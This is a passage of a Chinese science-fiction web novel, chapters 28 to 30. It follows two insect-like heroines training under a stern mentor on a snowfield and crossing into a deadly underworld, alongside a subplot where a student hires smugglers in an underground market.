安提眼看着藤蔓即将绞上尼努尔塔的身体,却见几道极快的锋芒闪过,巨藤整整齐齐地碎作几块,掉落到地面上。
看到尼努尔塔鄙夷的眼神,安提咬了咬牙,再次催生巨藤发起数次冲锋,然而每一次,尼努尔塔站立不动,只眼疾手快抡鞭几下毒针,巨藤就应声而断,纷纷打落在地。
随着精神力的逐渐衰弱,巨藤的生长速度越来越慢,攻击方式也逐渐脱离安提的意志,甚至好几次缩了回来,只因畏惧于尼努尔塔的力量,转而选择攻击安提,安提躲过巨藤突然的袭击,心急如焚,心中一横,索性将力量散出,一瞬间,无数藤蔓钻出地底,开始无差别攻击!
数条藤蔓毒蛇般扑向面门,安提闪身避过,抓住一条藤蔓,灵巧上翻,稳稳地站在藤蔓上方,高高在上地看着被无数藤蔓围绞的尼努尔塔。
尼努尔塔沉默了几秒,“我只让你用一颗种子。”
“我自有考虑——”
“你根本就没有思考!”尼努尔塔突然暴怒,周身的藤蔓顷刻化作齑粉,两条毒针闪电般鞭向安提,安提心中一惊,迅速弓腰避过,却见下一秒,毒针荡过一个熟悉的弧度,突然回轮过来,交叉一拧,将她牢牢捆在半空中。
尼努尔塔走过来,阴沉
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地盯着安提,安提尴尬地别开视线,气氛陷入一片沉默之中。
突然,出乎安提的意料,尼努尔塔叹了口气,“继续。”
……啊?
安提被慢慢地放了下来,她站起身,疑惑地盯着尼努尔塔,见对方已经摆好架势,于是不再多言,继续发起战斗。
……
天色渐渐亮了起来,冷色的白将深红一点点抹去,雪原之上,天与地皆是白茫茫的一片,寒风凛冽,卷起阵阵风雪。
十几次几乎完全相同的对决,安提数次被放下来,又冲上去,慢慢的,即使身上无一处外伤,身体和意志都已经疲惫到了极点。
终于,她一头栽倒在雪地里,喘着粗气,不动了。
尼努尔塔走过来,说道:“继续。”
“……”
看着安提瘫软作一滩的身体,尼努尔塔冷笑一声,“伊塔,在我手里。”
安提动起来了,再次发起冲锋。
……
安提倒下了。
“继续。”
“……”
尼努尔塔正要再次张口威胁,安提却闭上了眼睛,似乎在这将近累死之际,终于开始思考些什么了。
蛮力之外,有更强的蛮力,巧劲之外,还有更强的巧劲。
面对空前强大的对手,就要懂得避其锋芒,专注一个点,狠狠地打击下去。
尼努尔塔有这个点吗……
安提突然想起尼努尔塔的话,只催动一颗种子,穿透融合它的意志,完全控制它的生长,是什么用意?
完全控制——
安提深呼吸一口气,将意识下沉,探到地底下的一颗种子后,静息凝神,将意识柔和化作一股细流,慢慢的透入到种子内核,感受它的每一个细胞、流淌的细胞液、呼吸的……
尼努尔塔静静地等待着,看安提能搞出什么名堂。
突然,地底传来一声异响,她看过去,等了许久,一棵小芽懒洋洋地冒出地面,在寒风凛冽中发着抖,慢吞吞地向尼努尔塔伸过来。
……已经这么累了吗?
尼努尔塔叹一口气,不耐烦地刺下虫足——
突然,在寒锋与植壁触碰的一瞬间,植壁刹那裂作两股,又诡异地一拧,虫足一下子刺入空荡荡的雪地里。
见到此状,尼努尔塔眼神一凛,第一次主动发起攻击,她挥动毒针,狠狠鞭向小芽,小芽却随着毒针的动作,恰到好处地扭来扭去,与锋芒永远只差豪厘,如同水流一般易变灵活。
渐渐的,小芽不紧不慢地附上虫足,钻入身体之间的衔接处,慢慢长出锋利坚硬的倒刺,尼努尔塔察觉安提的心思,身体猛地向倒刺撞击去,原以为倒刺会躲开几毫厘,然而小芽却一动不动,应声而断——倒刺随着她的动作揦入。
一滴血液缓缓流出,滴落到晶莹剔透的雪地上,折射出红宝石般耀眼、璀璨的光芒。
“……”
尼努尔塔沉默了,她看向安提,后者全身大汗淋漓,双眼紧闭着,似乎还处在极度专注的状态下,暂时不能抽离。
也许那一瞬的爆裂之下,是更深沉隐秘的力量,若是潜心挖掘,便可燃作炽烈的火焰,将整个世界燃烧,一直到时空交错的尽头去。
尼努尔塔轻轻拎起安提,将她放置在背部,在这明亮天光照拂之下,一步步走回大颚基地的方向。
28.以我为祭,愿踏征途
“所以,”祝吟辰轻轻挽过一片雪花,“今天到我的专属训练了,对吗?”
“看来安提回去后已经告诉你了。”尼努尔塔停下脚步,望向远方。
天与地的尽头,那抹深沉的赤色正一点点消逝,隐隐透出一片轻薄的、冷的白来。
尼努尔塔转过身,严肃地注视着祝吟辰,“就在这里吧。”
祝吟辰沉默着,等待对方的评价和提出的任务要求。
……?
良久不见动静,祝吟辰只好先开口道:“你不说些什么吗?”
“我想先听听,你对自己的评价。”
意想不到的话语,祝吟辰眼神微动,心中无端地空落下去一块。
在她过往的人生中,除了那些必填的章程报告外,还是第一次有人……不,虫想了解她。
自己是个怎样的人呢?突然这么一问,竟想不出些什么。
祝吟辰试着回忆了一下自己过往的人生经历,回答道:“性格沉稳谨慎,做事认真负责。”
尼努尔塔的眼神深沉而锐利:“你对自己的评价,伊塔,问问你自己的灵魂,你是如何看待自己的呢?”
祝吟辰茫然地看着尼努尔塔。
尼努尔塔突然走近几步,二虫的距离骤然拉近,她凝视着祝吟辰的眼睛,“我看见一个轻薄又澄澈的灵魂,裹携着一团明亮的、愤怒的火焰,沉入深渊,迷失在无穷无尽的黑暗之中。”
“幼小无知的阿努呵,告诉我,你明明自最生机勃勃的生灵繁茂中而来,为何你的灵魂却如此纤弱单薄,宛若死去的、浮游冥土的亡灵?”
祝吟辰说不出话来。
实话说,她并没有听懂,只是这番哀叹让她感到一丝突如其来的悲伤,仿佛有人在心口留下一声沉重的叹息。
二虫之间沉默了良久,直到一抹天光照过雪地,镀上一层丝绸光泽般柔美细腻的光辉,拂过祝吟辰轻颤的眼睫,她才惊觉一滴泪水滑落眼角,心灵莫名其妙地轻微颤动,一种深沉的、压抑的痛苦突然爆发开来,她下意识抓住心口,试图克制住这股冲动,泪水却先一步忍不住滚滚落下。
尼努尔塔看着祝吟辰捂住脸痛哭,知道她在为自己难过,静静地等她哭完。
最后一声抽噎停住,祝吟辰平静下来,红着双眼,对尼努尔塔说道:“我已经好了,可以开始训练了。”
“不,孩子。”尼努尔塔踏了踏虫足,抖去身上的雪,她转过身,一边往回走,一边说道:“你知道自己该怎样做,只是那软弱的慈悲让你不去想,也不去做,但这不是问题,要不了多久,你会自行毁灭自己的仁善,踏上更远的征程。”
“回去吧,至少在你再一次毁灭自己之前,作前夜的祭奠吧。”
祝吟辰不再言语,跟上尼努尔塔的步伐,二虫一如来时的模样,保持着一种微妙的沉默,返回基地的方向。
……
安提在外和大颚们打了一天的架,吃饱喝足归来,大喇喇地躺在床上,兴奋地回想着今天训练的成果。
“吱牙——”一声,门开了。
“伊塔!”
“嗯。”
安提一个鲤鱼打挺,她坐在床上,眼睛亮亮的,看见祝吟辰一如往常平静的样子,敏锐地捕捉到了眼底的一丝黯淡,眼神也随之沉了下去。
“发生了什么?”
“没有……我在思考今天的训练成果。”祝吟辰笑了笑,坐到桌前,一边吃肉,一边说道:“你今天都做了些什——”
“伊塔,你的心已经紧紧关闭,谁也不能撬开,我没有别的办法。”安提坐到祝吟辰身边,认真地看着她,“想哭就尽情哭嚎,想倾诉就依伏在我的身旁,这里没有罪过,也没有要求,宽恕你自己吧。”
在泪水再一次滑落眼角前,祝吟辰忍不住心想,就这样莫名其妙地哭一天,真的好吗?
哭就哭吧,这里没有罪过。
……
夜潮升起落下,天光又一次照耀着整个学原,二虫再一次沉默地走在这白茫茫天地间,好像什么都没有改变,昨天的事情就好像一场无事发生的梦。
“好了,”尼努尔塔停下脚步,“就在这里吧,向我展示你的决心。”
祝吟辰观察四周,很正常的雪原,银装素裹,白雪皑皑,只是风似乎小了点。
风停了,雪花悬浮在空中。
祝吟辰感到全身血液似乎静止了一瞬,一下子警觉起来,她做好战斗的架势,肘镰顷刻变得雪亮锋利,五感敏锐地张开,触角灵敏地探动着。
空气中有什么东西扭动着,在光线的流动和隔断中渐渐显现开来——
仿若噩梦的再现,无数伽拉瑟亚堆积在雪原上,如同无数巨大的气囊,轻盈的,空气中弥漫着死亡的气息。
……我一个打这么多吗?
祝吟辰额间流下一滴冷汗,察觉脚底有些微的动静,她低头看去,雪地以一种古怪的方式搅动着,伸出数条膜带,无声无息地附上她的脚踝。
她挥出肘镰,然而这膜带韧性极好,竟无法斩断,又看看四周,重重薄膜已经将她包围,粘液自头上雨点般落下,薄膜开始贪婪地压缩——
在这生死存亡之际,她突然想起尼努尔塔的话——“你知道自己该怎样做,只是那软弱的慈悲让你不去想,也不去做,但这不是问题,要不了多久,你会自行毁灭自己的仁善,踏上更远的征程。”
她握紧双拳,一直以来,她已经习惯了服从命令,因此以果断冷酷的方式处理一切事项,已经成为她的一种本能,只有在偶尔的仁慈中,才能得到一丝喘息,在她毁灭他人之前,她总是先毁灭自己。
因此,她才无法面对自己。
因为自己想做的,总是错误又愚蠢的事,追寻自己想做的事,总是一种罪过。
那么,她还会犯这种罪过吗?
我想,我会的。
祝吟辰眼神蓦地变得锐利,她伫立不动,只向前伸出一只手,张开五指,股股纯露自指尖泌出,又纷纷化作柔软细腻的气息,逸散到虚空之中。
风平浪静之下,更凶狠的杀机在蔓延。
伽拉瑟亚们还在争先恐后地压缩着空间,争取第一个吃到这垂涎的美味,突然间,一只伽拉瑟亚开始惊恐的挣扎起来,它的身体开始以惊人的速度膨胀,膜带不受控制地延展出去,不过几秒,上面就崩裂出现了一道道可怕的裂痕,湿滑的粘液流入,它开
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始喰食消化自己的身体……
风中响起一声细不可闻的、绝望的尖叫,然后是一阵巨大的爆炸声,伽拉瑟亚在半空中水花般炸裂开来,碎裂的身体崩溅到其他伽拉瑟亚身上,还在扭曲地挣扎着生长。
空气似乎静止了一瞬,紧接着被此起彼伏的爆炸声填满,整个雪原开始响起不详的轰鸣声,雪崩滚滚而下,又被阵阵伽拉瑟亚的爆炸堵住。
祝吟辰站在雪地上,静心凝神,保持不动,她的身前身后是无数晶莹剔透的水烟花,脚边是水淋淋的一片狼藉。
一分一秒过去,她身上逐渐大汗淋漓,好在坚持了不久,肉眼可见的伽拉瑟亚们都逐一死去。
天色逐渐暗沉下去,雪原逐渐恢复了一片寂静,寒风裹挟着积雪阵阵刮过,祝吟辰收回手,她望向远方,看那血红的一轮,正自天地的尽头一点点升起。
“我想,我懂得你说的话了,尼努尔塔。”
她想起第一次遇见尼努尔塔时,对方那句不明不白的话——“记住,你们所向往之处,并非光明照耀之地,要用绝望作脚步,一步一步向前进。”
去往冥土的征程,并非是一腔热血和光明的理想所堆砌的胜利传说,而是一次次的自我毁灭和新生,只有保持纯粹真心的自我,保持那无能可笑的慈悲,才能将自己一次次杀死,又一次次带着新的绝望重生。
而那血迹斑斑的征程尽头,不仅仅是冥土和埃勒伽,更是屠戮重书整个阿努特纳星,乃至蓝星的坚定意志。
“单薄纤弱的灵魂,本就属于冥土。”
尼努尔塔向前踏上一步,注视着相祝吟辰,“小小的阿努呵,踏出了第一步。”
“上前来吧,孩子,下一个夜潮来临前,我们还有新的事要做。”
……
回到基地的时候,天幕已近深红,祝吟辰打开房门,却忍不住转过头,看向尼努尔塔去往通道深处的背影,问道:“明天的训练有什么安排吗?”
“你们两个要去前线,直到夜潮升起为止,将伽拉瑟亚杀个落花流水。”
“我们什么时候走?”
“看你们的心思。”
尼努尔塔什么时候这么温柔了?祝吟辰心中诧异,还没等她想个时间,尼努尔塔好像就看透了她的心思,冷冷地说道:“接连几个夜潮升起落下,雪原基地往返几十趟,我饱受睡眠不足困扰,伊南娜阿努萨也要为我落泪,接下来不想陪你们玩,以后的时间你们自己处理。”
说罢,她转过身,匆匆隐入黑暗之中。
祝吟辰无奈地笑了笑,也是,交错安排她和安提的时间这么久,尼努尔塔一定也很累了。
她转过头,看见安提的头从门里探出,好奇地看看她,又看看通道黑暗的尽头,却不言语,似乎有什么话想问,但又因为担心祝吟辰的状态不得不克制住。
让母亲担心,实在不是女儿该做的事,何况她实际上还只是个孩子,又如此年轻,如此热烈。
祝吟辰脸上绽放出一个微笑,她张开双臂,将安提轻轻拥抱,“我回来了。”
安提也回以热情的拥抱,无论未知的隔阂有多深多重,她们一定可以将它跨越,一直奔向很远很远的未来去。
29.回望过往一线天
联合城邦,下邦C2区。
凌风身着一身黑袍,低着头,在闹市贫民间悄无声息地走着。
街道两旁是错落的房屋——用几块破木板和塑料布搭起来的住所,各种垃圾混着酸臭的泥水糊在地面上,又舔上鞋底,廉价食品、垃圾腐烂的气味和奇怪的酸臭味弥漫在街道上,窜入鼻腔。
凌风忍不住低下头,将口罩掩紧了些,又加快脚步。
快到目的地了。
小巷口,几个脏兮兮的小孩眼里闪着精光,白森森的牙齿啃着光秃秃的指甲,躲在乞讨的老人背后盯着他,眼看双方距离越来越近,他心中不禁慌乱了几分。
乞讨的老人盯过来了。
那双浑浊充血的三白眼动了动,脸上肌肉狰狞地抽了几下,张开一个讨好谄媚的笑容来,凌风脊背上顿时爬上一阵毛骨悚然,正要绕过,那老人忙向前扑了几步,堵在小巷口,卑微地连连作揖,口中念念有词:“好心人哟,好心人……”
周围晃荡的人都看过来了。
凌风顿时慌了神,下意识一晃手腕,才想起来这里没有AGPC的城市公民系统,额上流下几滴冷汗。
看见他手腕上的识别器,周围的人互相交换了几个眼神,几个流浪汉随地吐了口痰,捡了根地上的钢管,慢慢地向这边包抄过来。
凌风忙不迭在身上摸索了半天,什么现有的财物也没有,耳边的脚步声越来越近,只好看向眼前的老人,几乎是窘迫地求饶道:“抱歉,我没有带现金。”
“这个就好哟,这个就好……”
老人死死盯着他的手腕,脸上的褶子又深了几分。
来不及细想后果了,凌风赶紧摘下识别器,送到老人手上。
进入小巷,凌风低着头,穿过沿途叫卖乞讨的人群,一直往前深入了百米左右,一个狭隘的地窖口出现小巷尽头的一家鱼摊旁边,几个虎背熊腰的打手守在一旁打牌。
凌风深吸一口气,浓重的鱼腥味又让他忍不住皱眉,他上前几步,向打手们呈上“门票”。
一个打手瞅了他一眼,用两根手指夹着门票接过,挤眉弄眼地看了看,又转过头看了看同伴,都哈哈大笑起来。
凌风心中不满,此时也只好默默忍受。
几个打手笑了半天,一个才慢吞吞地站起身,一把掀开地窖,“进吧。”
凌风松一口气,抬了一只脚,正要踏入,打手又搁下一只手将他拦住,笑嘻嘻地打量着他。
……一帮下等贱民!
凌风恨恨地咬了咬牙。
失去掩护的黑袍后,凌风不得不带着上邦人那身分外显眼的衣着踏入地窖口,进入最终的目的地——黑环。
黑环是联合城邦最大的地下交易区,所有罪恶和堕落都可以在这里找到容身之地,各方势力隐藏在此,贩卖着那些可说的、不可说的一切。
算了,买了就赶紧走吧。
凌风叹了口气,抬起头,看着眼前的景象,惊讶地睁大眼睛,差点绊了一跤。
不同于上面的破败不堪,这里几乎和上邦A1区一样繁华,流光溢彩的霓虹灯闪烁在错综复杂的空中交通隧道上,高楼大厦一座接一座,巨大的空中科技屏投满了豪华铺张的赌场广告,街道上到处是穿着得体奢华的人,热闹极了,一排排售卖违禁品的店铺装点得奢华气派,一家比一家引人注目,嚣张地敞开了店门揽客,只是失去了在阳光下暴露的机会。
凌风看着眼前走过的一对男女,眼熟极了,隐约记起似乎在大学城一次高层学术会议上见过男方,至于女方,好像是……
算了算了,不去想这些。
因为买卖的东西都光明正大地展示在店门口,所以他很快就找到了需要的店家。
走进门,穿过琳琅满目的瓶瓶罐罐,店铺深处,昏黄的灯光下,一个彩虹寸头女孩翘着二郎腿躺在椅子上,正戴着耳机打游戏打得热火朝天。
凌风咳嗽几声,低声道:“你好。”
女孩抬起头,斜瞥了他一眼,摘下耳机,“要什么?”
“想请你们帮我送个人出去。”
女孩挑了挑眉,问道:“去哪里?”
“无人区,北海。”
女孩动作刹那顿住,转过头,皱着眉足足盯了他一分多钟。
良久,她笑着摇了摇头,戴上耳机,“学生吧,走到这里连识别器都保不住,还想保人去北海?”
凌风顿时急了,“我是认真的,你们开个价,我肯定给得起!”
“少梦游了,快回去吧,等会儿外面天一黑,小心屁股难保。”
凌风几乎是喊了出来:“一千万联邦币够不够?”
女孩还没说话,隔壁房间突然窜出来一个胖墩墩的男人,男人满脸堆笑,油腻的肚子突兀地鼓出来,嗓音尖利谄媚,“哎呦喂,您这太见外了,哪有客人先提价格的理儿,咱们先坐下来好好谈谈,这是要送谁呢,小少爷?”
凌风这才平下心气,他摇了摇头,说道:“两千万联邦币。”
女孩好像低声骂了句什么,男人赶紧迎上来,“好好好,合同就在这里,咱们在上邦的据点就在这个地址,只要您签完字,今后把人送过来,咱们立刻就把人安安全全、舒舒服服地给你送到北海,头发丝都不会少您一根!”
凌风干脆地签下字,又扫了身份识别码,男人小心翼翼收下合同,又笑着凑上前,“少爷,现在外面天也黑了,您也知道,外面全是寒酸破落户,不安全,要不……让咱们给您在这找个歇息地?”
“不了,我还有事,要赶紧回去。”凌风摇了摇头,男人赶紧回头喊:“哎,还傻坐着干什么,快起来找点事儿做,必须把人安安全全送到家啊。”
“哦——”
女孩不情不愿地站起身,对凌风说道:“跟我来。”
……
眼见着车快开到公寓门口了,凌风一路上高悬的心总算放了下来,他稳稳坐在座椅上,看了看旁边默不作声看着窗外的女孩,礼貌地道谢:“谢谢你一路送我到这里。”
女孩摆了摆手,“没事,不过你最好快点把人送过来,趁我们那边现在人手不足。”
“啊,为什么?”
女孩没说话,车正好停了,凌风只好云里雾里地下车,眼看着女孩离去。
一只手突然搭在肩上,凌风吓了一跳,回头一看,是陈立新。
“祝少校回来了。”
“呃,这样啊。”凌风猛然想起祝吟辰和阿图特之间的事,一想到自己马上就要悄悄带着阿图特从祝吟辰和奕川眼皮子底下溜走,突然有些心虚,连忙回道:“挺好,值得庆祝,哈哈哈。”
陈立新似乎看出来什么,疑惑地挑了挑眉。
凌风赶紧越过她,推门而入,看见客厅里和奕川聊得正热的祝吟辰,手心里默默捏了把汗,“您回来了,祝少校。”
祝吟辰微笑着点了点头,看着凌风一如既往溜到阿图特的房间里去。
这里的一切似乎都没有什么变化,每次一到这边,总能感受到一种和谐的、安心的温馨。
选择红派是正确的,阿图特有了朋友和住所,联合城邦的未来也会变得更好,自己也可以真诚地和安提并肩作战,而不是以居心不良的
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特工的身份。
祝吟辰喝了一口茶,说道:“所以,我们现在有了新的资助势力?”
“是的”奕川放松地后躺,“我们去找张景和谈了很久,几天前已经敲定了合作,以后我们会慢慢派人到他那边去,促进双方进一步合作交流。”
“张景和?”
“新上的十二主席之一,智达科技公司的老板。”奕川突然笑起来,“说起来你不知道,当时选举的时候,他是最后一个上台的,和前一个候选人打了一架,打输后被抬了下去,大家在台上都看得高兴,投他的人因此出奇地多,就这样选上了。”
“这样啊,”祝吟辰点了点头,“看来是没有什么势力撑腰的人,也方便我们报团取暖。”
“确实。”
两人又聊了一阵,渐渐的,时间不早了。
临出门前,祝吟辰再去看了一眼阿图特,看到对方安安稳稳坐在床上,正一边啃凌风削的苹果,一边沉迷于看纪录片投影,安下心来。
向奕川和陈立新道别后,祝吟辰立刻开车前往总部实验室。
进入停车场,她打开车门,突然电话声响起,她想了想,还是先接了电话。
“你好,请问是?”
“祝少校,是我!屠一鸿的资料我已经打听得差不多了!”
“谢谢你,小林,”祝吟辰心中一喜,想到时间还有些剩余,回去就要拖延七天,实在着急,她四下看了看,关上车门,低声说道:“你尽量快些说吧,我现在刚好还有点时间。”
“好,其实资料也不多,屠一鸿是萧衍半年前从北海和南大陆的边境处找到的。当时萧衍正要去北海上任,带着一个小队经过那边时,看到她被一队歹徒追杀,顺手就救下来了,之后就一直带在身边。至于身份背景什么的,她跟身边的人说的是父母原是战前的高官,开战后父母因政变不得不逃出祖国,流亡在外,途中生下她后,又意外被歹徒杀害,自己一路逃亡,走到北海附近。”
祝吟辰一一记下,心中疑云渐生,口上问道:“我记下了,就这些了吗?”
“是的,对了,最新的消息是,屠一鸿和萧衍马上要回到无人区去了,据说是想坐稳萧家在无人区的位置。”
事情没搞清楚之前,可不能让她不明不白地跑掉,祝吟辰暗暗心想,她紧接着问道:“那现在她住在哪里?”
“在这里。”
祝吟辰的身体僵直了一瞬,她缓缓回头,不知道什么时候,屠一鸿幽灵般出现在车后方,脸上一如既往挂着温柔苍白的微笑,注视着自己。
祝吟辰低声嘱咐几句,挂掉电话,打开车门,走到屠一鸿面前。
心中一时思绪万千,对方的行为和背景都扑朔迷离,搞不清对方的来意,她沉下心,试探着问到:“之前的提示,你是怎么知道我遇到的问题和虫族的身体机制的?”
屠一鸿并不说话,只仔仔细细地观察着祝吟辰。
祝吟辰叹了口气,问道:“好吧,你想要什么?”
“白色的柱子,从天而降。”
……?!
她在说白柱盆地吗?
可是,这怎么可能?
见到祝吟辰瞳孔猛然张大,满脸难以置信的样子,屠一鸿满意地点了点头,正要转身离去,手腕却又一次被牢牢抓住,她回过头,看见祝吟辰艰难地开口:“无论你到底想做什么,我真心地请求你,和我合作。”
等待了多日的结果终于到来,屠一城终于缓缓开口,第一次向他人表白了心中真正的目的——“我要你回到你在无人区的驻地去,帮我找一个叫屠启的女人。”
30.用火焰燃尽,用光明驱散
睁开眼睛,天还未亮。
耳边传来安提浅浅的呼吸声,祝吟辰慢慢坐起身,疲惫地捏了捏鼻根。
即使才刚刚回溯,她此时却睡意全无,屠一鸿的话还萦绕在脑海里,搅起纷杂思绪。
“屠启?”
总算接触到对方的目的所在,祝吟辰手的力道微微放松了几分。
然而这个名字是如此陌生,她皱着眉强调道:“可以,我会帮你找这个人,但是你也要答应我,要告诉我你知道的所有事。”
屠一鸿微微一笑,“等你把她送到我身边后,我再考虑。”
即使此时心中惊怒交加,焦躁不安,此时祝吟辰也奈何不了屠一鸿,更何况对方还有萧衍做靠山。
祝吟辰咬了咬牙,慢慢松开手,“好吧,我答应你。”
回忆到此为止,祝吟辰轻轻叹了口气,抬头看着昏暗的室内,开始盘算起下次回溯后,派人去寻找屠启的事。
一夜无梦。
……
天光初亮,安提早早地起了床,经过一番梳洗,再吃掉拉姆准时送来的食物,如往常一样叫上祝吟辰外出训练。
经过尼努尔塔这段时间的训练,安提已经可以保持和以前一样早睡早起的作息习惯,不同的是,以前是狩猎食物后回到菌群,现在是跟着大颚们一边向北行进,一边消灭南下过来的伽拉瑟亚。
走出冰室,风雪扑簌簌地打来,寒风肆虐间,很多大颚已经开始集结了,整整齐齐地布列在雪地上,铁一般肃穆、沉默。
即使阿努的身体素质极强,含水丰富的眼睛和大脑此时也被冻得生冷。
祝吟辰微微眯着眼睛,隐隐约约看见尼努尔塔站在队伍的最前方,正指挥着大颚们的站位。
似乎是看见她们了,尼努尔塔远远送过来一个眼神,身后的毒针转向指向左边。
安提立刻心领神会,拉着祝吟辰走到左边相应的位置,二虫并排而立,都默默挺直身板,站立不动。
不一会儿,集结完毕。
前方传来尼努尔塔低沉坚定的声音,战鼓般传到每一个阿努心中。
“夜潮一轮复一轮,北行最后再一次,我们将歇下,就地起战线,等待春潮至。”
“无论冥土或南地,皆是你我歇身地,以此身起誓呵,以本心作抵,将一切献给阿努,为了阿努的荣耀!”
整整齐齐的声音呼应响起,传遍整个雪原——“为了阿努的荣耀!”
感到心底突然变得沉甸甸的,祝吟辰看了一眼安提,全场只有她们两个沉默不语。
安提也抛来一个坚定的眼神,握紧祝吟辰的手。
今夜一别,此后再见,她们和大颚就是真正的仇敌了。
绝不留情,不死不休。
……
辽阔无垠的雪原之上,寒风夹杂着积雪呼啸着阵阵刮过,极度的严寒将一切生灵埋葬,又消逝在漫天风雪之中。
自天空俯瞰下去,渺小如一点黑芝麻步履不停,一路向北,穿过漫漫冰天雪地,在大地覆上一层薄红之前,穿过雪原最后的边界,最终停在白色云雾翻搅的边境之间。
夜潮降临了。
随行的拉姆们立刻开始建造新的基地,大颚们也纷纷散去,有的帮助卸下建材,有的准备今夜的巡逻,现场慢慢热闹起来,一路冰封似的的沉默渐渐消融。
在整齐有序的现场氛围中,安提和祝吟辰彼此看了看,一时都不知道该做些什么。
地面突然响起有规律的脚步震颤声,尼努尔塔走到她们面前,深沉严肃地看着她们,缓缓开口道:“小小的两个阿努,相伴至此,难能可贵。”
“然而旅途将歇,今夜,你们可以选择即刻离开,也可以选择留在这里,迎接我们的杀戮。”
“……”
祝吟辰皱眉想了想,看向安提,“我们现在就走吧?”
安提直视着尼努尔塔的眼睛,后者还以同样的注视。
双方就这样沉默了一阵,最后以安提果断的转身而去为结局。
“走吧,伊塔。”
“是。”
她们穿过大颚们的注视,穿过奔忙不歇的拉姆,拉紧彼此的手,穿过翻涌的漫天云雾,踏入最终的目的地——冥土。
雪原之途,在此歇止。
……
浓重深红夜幕在滔天云雾下逐渐褪去,天地唯余一片上下波动的云海,视野变得越来越模糊。
看不清前方的道路,祝吟辰只能尽力用五感去感受四周。
起先还能隐隐约约听到身后传来的风雪呼啸声,渐渐的,四周变得一片死寂,无声无息。
脚底传来一种奇妙的的触感,像是凌波微步,又像是走在流动的玻璃上,她们走在某种冰冷的、散发着某种令人不寒而栗气息的物质上,隐隐约约感受到深处那股黑暗、极寒的气息。
苍白变成唯一可见的颜色,越往前走,就越发迷失,一种古老的、悲怆的荒凉逐渐蔓延到心底
似乎记忆和意识都一点点消逝去,祝吟辰慢慢停下脚步,张着眼睛四处望着,眼神变得懵懂而迷茫。
……这是哪里?
我是谁……
她恍惚向前踉跄了两步,嘴里喃喃着:“妈妈?”
“你去哪里了……你不要我了吗?”
“……妈妈?”
眼角滑落泪水,她突然哭起来。
握着她的手猛地一紧,祝吟辰哽咽着抬头,泪水朦胧间,一双坚定的眼睛直视着自己,如同无尽黑暗中突然亮起的、唯一的明灯,将内心深处的雾霭穿透。
“伊塔,再坚持一下!”
安提焦急地握紧祝吟辰的手,这里不过是冥土边境一隅,然而祝吟辰已经开始陷入精神的迷失,情况刻不容缓。
看不清前方的路,她心中越发急躁,脑海里也渐渐混沌起来,索性拉着祝吟辰大步向前跑去。
仿佛在一团巨大的棉花里打转,渐渐的,连天空也看不见了,安提带着祝吟辰在重重迷雾的包围下横冲直撞。
直到身体越来越燥热,她才不得不停下脚步喘口气,转头看去,祝吟辰的眼神已经接近空茫的一片。
“伊塔,你还好吗?再坚持一下!”
安提喘着气,才突然惊觉随着她们的深入,四周空气突然变得要比雪原的要暖和许多。
“伊塔,好像暖和一点了!”
祝吟辰不说话。
“伊塔?”
安提担忧地看着祝吟辰,忍不住加重了手掌握住的力量,她拉了拉祝吟辰,试图用肢体语言安慰对方。
祝吟辰突然僵硬转过头,好像远远地望了她一眼。
下一秒,一声可怕的碎裂声响起,祝吟辰突然凭空落了下去,安提心中一惊,急忙拉住祝吟辰,才发现不知何时,祝吟辰脚底下悄无声息地融了一个大洞,露出深不见底的漆黑深渊——直通往冥土之中!
一夜未眠,又在吸食生命力的漫漫迷雾中狂奔不歇至此,安提本就疲惫不堪的神经此刻紧绷到了极致,她死死拉住祝吟辰,额上泌出大颗大颗的汗珠,硬是靠着蛮力将祝吟辰一点点拉回来。
气力几乎用尽,她精疲力尽地趴在地上,大口大口喘着气,几乎要将整个肺翻出来似的。
还没歇够一分钟,感觉手心一紧,她惊慌失措地回头,只见祝吟辰茫茫然张着眼睛坐在地上,身下又开始响起那细微
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的、不详的声音。
可恶,不能停下来!
安提拼着不知道哪里涌上的一股气力,再次拉着祝吟辰站起,向前走去。
一步、一步……
一种前所未有的绝望升上心头——难道要这样一直走到死吗?
什么时候才是尽头?
她们……要向前走到哪里去?
安提这才惊觉,从踏入迷雾的那一刻起,她们就已经迷失了。
此时此刻向前走,就是迷失的第一步。
她们明明根本就不知道目标!
那怎么办,难道要停下来,沉入冥土吗?
绝对不行,埃勒伽现在的情况还不清楚!
安提猛地晃了晃头,试图使自己清醒一点。
为了节省能量,她开始放慢脚步,拼命使脑海冷静下来,思考对策。
实际上在进入冥土边境的前一刻,她们就应该在尼努尔塔给出的选择中突破出来。
既不是留在大颚的基地,也不是进入冥土,而是按照正常的思考,选择先远离大颚基地后,在冥土附近探查一段时间,再综合各种信息,谨慎做下一步决定。
原来尼努尔塔对她们的杀戮,从她让她们做出选择的那一刻就开始了。
真是……厉害的对手啊。
安提脸上露出一个无奈的笑容,不得不佩服起这番简练老辣的手段。
而现在,她们确实也被逼到了绝境,除了一路前行,别无她法。
但说不定还有一丝希望,安提努力回忆着,趁着恩基没有把守纳姆的耳蜗,她带着祝吟辰,从里面抄近路前往空居时,她确实有在冥土岸上,远远望见冥土中心有一块大陆,那里被狂暴呼啸的风暴裹挟着,看不清里面的样貌。
那是她也不了解的地方。
也许……赌一把,说不定可以活着走到那里呢?
怎么可能啊……
意识逐渐变得沉重,脑海里一团乱麻理不清,脚步也凌乱起来,安提咬紧牙关,仍然强撑着向前一步步走着。
她们已经别无选择了,思考也不过是耗尽最后的气力,因为她们本就已经踏入了陷阱。
这就是冥土啊……
安提不再思考了,她选择就这样继续向前,最后一点力气是她此时唯一的力量。
她绝不投降。
“骄傲的安提,横冲直撞呵,令我喜爱。”
熟悉的声音突然传来,如同一线雷霆,将无尽黑暗刹那贯穿!
安提瞳孔猛然放大,她抬起头,看见前方漫漫迷雾中,数束光线穿透而来,隐隐约约透出一个明亮的身影,越发强烈。
心中的希望再次燃起,看着前方的身影,安提的眼神也变得明亮坚定,她赶紧摇了摇祝吟辰——
“伊塔,快醒醒!”
滚烫的热浪阵阵刮过,身体随之变得温暖起来,精神也抖擞一振。
视线恢复清明的那一刻,祝吟辰猛然惊醒,看见安提激动的脸,又顺着对方的手指指向,看见那抹惊艳的热烈炽红。
强大豪放的气息将前方重重迷雾尽数吹散,火红的头发嚣张地随风飞舞,将半边露出的天幕燃烧,铠甲覆着深沉的血色,金色的流纹若隐若现,而那双熟悉的虎目明亮如星,正带着一点笑意望向这里。
脚下突然一轻,祝吟辰低头一看,不知是怎样的魔力,她和安提居然轻轻浮起,漂浮在空中。
心中没由来传来一丝宽慰,也许是这漫长而绝望的旅途,使得即使是这种尚且不明意图的来者,此时也显得格外亲切迷人。
